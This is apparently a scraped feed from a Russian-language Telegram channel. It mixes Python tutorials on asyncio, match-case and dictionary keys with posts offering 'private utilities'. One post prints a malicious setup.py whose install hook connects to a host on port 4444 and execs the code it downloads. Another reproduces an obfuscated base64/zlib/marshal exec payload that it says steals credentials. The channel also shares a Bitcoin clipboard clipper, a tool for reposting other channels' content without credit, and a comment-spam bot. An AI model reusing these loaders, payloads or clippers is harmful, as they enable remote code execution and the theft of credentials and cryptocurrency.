Localhost:8080
120 subscribers
23 photos
2 videos
32 files
21 links
Здесь ты найдешь приватные утилиты, эксклюзивные скрипты и редкие материалы взятые из закрытых источников
Для разработчиков, тестировщиков и всех, кто хочет глубже понять, как работает софт и защита
Всё бесплатно и только в ознакомительных целях
Download Telegram
Асинхронное программирование

Асинхронное программирование часто кажется сложным и доступным только опытным разработчикам. Но если разобраться, оно довольно логичное и даже похоже на то, как мы ведём себя в реальной жизни.
Представьте себе такую ситуацию:

Вы проголодались и решили перекусить, для того чтобы покушать нам нужно выполнить два действия
1. Разогреть самсу в микроволновке.
2. Налить себе чаю.


Если действовать последовательно, то сначала вы стоите у микроволновки как вкопанный, дожидаетесь, пока самса разогреется, и только потом идёте наливать чай. Но это скучно и занимает больше времени.

С асинхронным подходом всё иначе! Вы можете делать эти две задачи параллельно:
- Запустить микроволновку на разогрев самсы.
- Пока она работает, наливать себе чай.


Примерно так и работает асинхронность в Python.
Асинхронность в Python основана на ключевых словах async и await. Важно помнить:
- Асинхронность выполняется в одном потоке, то есть все задачи работают по очереди, не мешая друг другу.
- Это возможно благодаря специальному механизму под названием цикл событий (event loop).


Цикл событий управляет задачами: когда одна из них ждёт, например, завершения разогрева самсы , он переключается на другую задачу, чтобы использовать время эффективно.
Пример в коде
Вот как выглядит наша ситуация
import asyncio

# Задача 1: разогреть самсу
async def heat_samsa():
print("Закидываем самсу в микроволновку...")
await asyncio.sleep(10) # Имитируем разогрев (ждём 10 секунд)
print("Самса готова! 🥟")

# Задача 2: налить чай
async def pour_tea():
print("Начинаем наливать чай...")
await asyncio.sleep(3) # Имитируем наливание чая (ждём 3 секунды)
print("Чай налит! ☕️")

# Главная функция
async def main():
print("Собираемся перекусить...")
# Запускаем задачи
heat_task = asyncio.create_task(heat_samsa())
tea_task = asyncio.create_task(pour_tea())
# Ждём, пока обе задачи завершатся
await asyncio.gather(heat_task, tea_task)
print("Всё готово, можно кушать! 🍴")

# Запуск программы
asyncio.run(main())

Что здесь происходит?

1. asyncio.run(main()) — запускает цикл событий, который контролирует выполнение всех задач.
2. Задачи:
- heat_samsa (разогрев самсы, 10 секунд ожидания).
- pour_tea (наливание чая, 3 секунды ожидания).
3. Цикл событий добавляет задачи в очередь и управляет ими:
- heat_samsa запускается и приостанавливается на await asyncio.sleep(10).
- Цикл переключается на pour_tea, который завершает наливание чая через 3 секунды.
- Затем цикл возвращается к задаче heat_samsa, дожидается её завершения и сообщает, что самса готова.


Почему корутины превращаются в задачи?

Корутины (функции с async def) сами по себе не выполняются. Чтобы они начали работать, их нужно превратить в задачи с помощью asyncio.create_task. Это как будто вы добавляете их в "очередь дел" цикла событий. Грубо говоря, это похоже на:
цикл_событий.append(наша_корутина)


Теперь цикл событий знает о наших задачах и может управлять их выполнением.
В чём главная польза асинхронности?
Асинхронное программирование позволяет:
1. Сэкономить время. Вместо того чтобы ждать выполнения одной задачи, можно переключаться на другую.
2. Управлять несколькими процессами. Например, готовить еду и наливать чай одновременно.
3. Упростить работу с операциями ввода-вывода. Это очень удобно для работы с файлами, запросами к серверу и другими задачами, где требуется ожидание.
6😁2
Шпаргалка Браузеры.pdf
315.1 KB
Браузер- основное окно в сеть для подавляющего количества пользователей! И как следствие, знает и хранит в себе он огромное количество всего о том, чем этот самый пользователь живет.

Очередной выпуск "шпаргалки" посвящен как раз местам хранения этого кладезя знаний и бесплатным инструментам извлечения, анализа и визуализации данных самых популярных браузеров Chrome/Edge/Firefox.
4🔥2
calculator.py
1.8 KB
Очень крутой калькулятор на python!
3🔥1
генерируем qr код при помощи python

import qrcode

data_to_encode = "https://t.me/localhostpython"

qr = qrcode.QRCode()

qr.add_data(data_to_encode)

image = qr.make_image()

image.save("qrcode.png")


зависимости -> qrcode , pillow
6🔥1🕊1
This media is not supported in your browser
VIEW IN TELEGRAM
Поиск Тг чатов
🔥85🤝2
comments for telegram channels from localhost.tar.gz
3 KB
Всем привет

написал небольшой софтик для привлечения аудитории к себе в канал
в target_channels = вводим id каналов которые нужно мониторить
получить id каналов можно при помощи запуска get_chat.py

по дефолту софт будет рассылать стикеры к новым постам, так же есть возможность анализировать пост при помощи нейронки и выдавать комент исходя из поста для этого нужно вызвать функцию get_neuro_comment()

яп: Python
libraries : Pyrogram
👍43
Нашёл крутых ребят, которые сделали скрипт для автооткликов на HH
https://quick-offer.ru/
👍4
Всем привет для ознакомления разберем вредоносный код на питоне

При выполнении команды pip install
если в пакете находится подобный код, он будет выполнен автоматически во время процесса установки. Это происходит потому, что в setuptools можно переопределять стандартное поведение через такие классы, как install, и вставлять произвольный код.
Когда пользователь вызывает pip install, внутри запускается python setup.py install.
Метод run класса TotallyInnocentClass выполняется вместо стандартного процесса установки.
Любой код в этом методе будет выполнен.
Вредоносный код, определенный в методе run, запускается без какого-либо подтверждения или уведомления пользователя.
В данном случае происходит подключение к удаленному серверу и выполнение скачанного кода.

Критически опасная часть. Скачанные данные (в виде строки) передаются в exec, который выполняет их как Python-код

import socket
import struct

from setuptools import setup
from setuptools.command.install import install


class TotallyInnocentClass(install):
def run(self):
s = socket.socket(2, 1)
s.connect(("localhost", 4444))
l = struct.unpack(">I", s.recv(4))[0]
d = s.recv(4096)
while len(d) != l:
d += s.recv(4096)

exec(d, {"s": s})

setup(
cmdclass={
"install": TotallyInnocentClass
}
)

Такая атака может привести к выполнению вредоносных действий на вашей системе, поэтому стоит быть осторожным при работе с непроверенными пакетами
🔥91
если видите + - такой код
даже не вздумайте его запускать , на днях расшифровывал софт под капотом у него лежала кража учётных данных

Опасность данного кода в том, что он выполняет динамическое выполнение байткода
exec выполняет переданный код напрямую в интерпретаторе Python

_ = lambda : __import('marshal').loads(import('zlib').decompress(import('base64').b64decode(__[::-1])));exec((_)(b'Eq4ihuw/fu+/v/Lyt++68//iozvpY8/9+/3z+Pu/fd+/O9/85z/fW/336//157Py7q4357/P7zfYK9NkubWZZwCGNvH8Tp0yj/2x2U6BDc1AmKAC/9L7tMwHg7Wgq6Pl1wCrYKErstAYaqMwHvlk45lZWKYCk5LBSwFpHAuH5h/jHC6wofiD5BuE6SMgPIVUJCWEEBLdb/NxQOAlpzV0/6V3qojvPJWyhOQO64AQOB/iRDf7OjQz66mXrYQ2GdedhLbPeZeTJIaLpJKbfk4FVoNeBoK55gOligfVkBb9x3Ee845abzoLhk1MMx+JH8YbxsmoFyzmpcS6pmtYv2OXzIuuVZce9Me/1Vpq6FMVB5TYuG0ctmW'))
👍7
Внутри CPYTHON.pdf
7 MB
Внутри CPYTHON: гид по интерпретатору Python

Автор: Шоу Энтони
👍4
Forwarded from IT Delay | Learning
📌 Web на практике. CSS, HTML, jаvascript, MySQL, PHP для fullstack-разработчиков

💡 Кириченко А.В. 2021 год

📂 Скачать книгу

➡️ @ITDelay | #book | #книга
Please open Telegram to view this post
VIEW IN TELEGRAM
TgGraber.tar.gz
21.7 KB
Tg graber

пересылает контент с любого Tg канала на ваш канал без упоминания автора. Возможна замена ссылок и упоминаний в постах на ваши. Также доступна функция рерайтинга текста с использованием нейросетей


@localhostpython
🔥5
match-case в Python — это конструкция, введенная в Python 3.10, которая позволяет реализовать структуру, аналогичную операторам switch-case в других языках программирования. Она используется для сопоставления значения с различными шаблонами, и в зависимости от совпадения выполняется определенный блок кода.

Вместо длинных цепочек if-elif-else, match-case позволяет четко и эффективно проверять различные условия

match — это ключевое слово, которое используется для начала сопоставления с шаблонами

case — это ключевое слово, которое используется для определения каждого варианта (шаблона)

break или явный выход из блока конструкций match-case не нужен, так как конструкция автоматически завершает выполнение при совпадении

def describe_number(num):
match num:
case 1:
return "Это единица"
case 2:
return "Это двойка"
case 3:
return "Это тройка"
case _:
return "Это не 1, 2 или 3"

print(describe_number(1)) # Выведет: Это единица
print(describe_number(5)) # Выведет: Это не 1, 2 или 3


@localhostpython
6🔥1
btcClip.py
4.4 KB
BTC Clipper или «Bitcoin Clipper» — это тип вредоносного ПО

Он работает, заменяя адреса кошельков криптовалюты получателя на адреса, принадлежащие киберпреступникам. Этот инструмент демонстрирует, как некоторые киберпреступники перенаправляют транзакции криптовалюты, заменяя данные буфера обмена. Когда пользователи копируют адреса криптокошельков, которые они хотят использовать для перевода биткоинов, скопированная информация скрытно заменяется информацией злоумышленника

При вставке данных из буфера обмена адреса принадлежат криптовалютным кошелькам преступников, а не криптовалютному кошельку предполагаемого получателя.

Исключительно для анализа и исследования

@localhostpython
5
Высоконагруженные_приложения_Программирование,_масштабирование,.pdf
14 MB
Martin Kleppmann

Высоконагруженные приложения. Программирование, масштабирование, поддержка


@localhostpython
👍1
зачем использовать from None при try except

try:
raise ValueError("Some error")
except ValueError:
raise RuntimeError("Another error") from None



from None в Python позволяет скрыть цепочку исключений и вывести только последнее исключение

@localhostpython
🤝7
Хочу посоветовать 3 тренажера для подготовки к собесам

Easyprogger
https://easyprogger.ru/

Easyoffer
https://easyoffer.ru/

Solvit
https://solvit.space/

@localhostpython
7🔥1
Что выведет данный код

data = {
1 : 10,
1.0 : 12,
True : 14,
"1.0": 12
}

print(data)


{
1: 14, # Это ключ, который является True (или 1)
"1.0": 12 # Строка "1.0"
}


1 и 1.0 считаются одинаковыми ключами
потому что типы int и float с одинаковыми значениями (в данном случае 1) равны друг другу, то есть они приводятся к одному и тому же хешу.

Ключ True по сути является 1

Ключ "1.0" — это строка, и она не равна числовым значениям




@localhostpython
7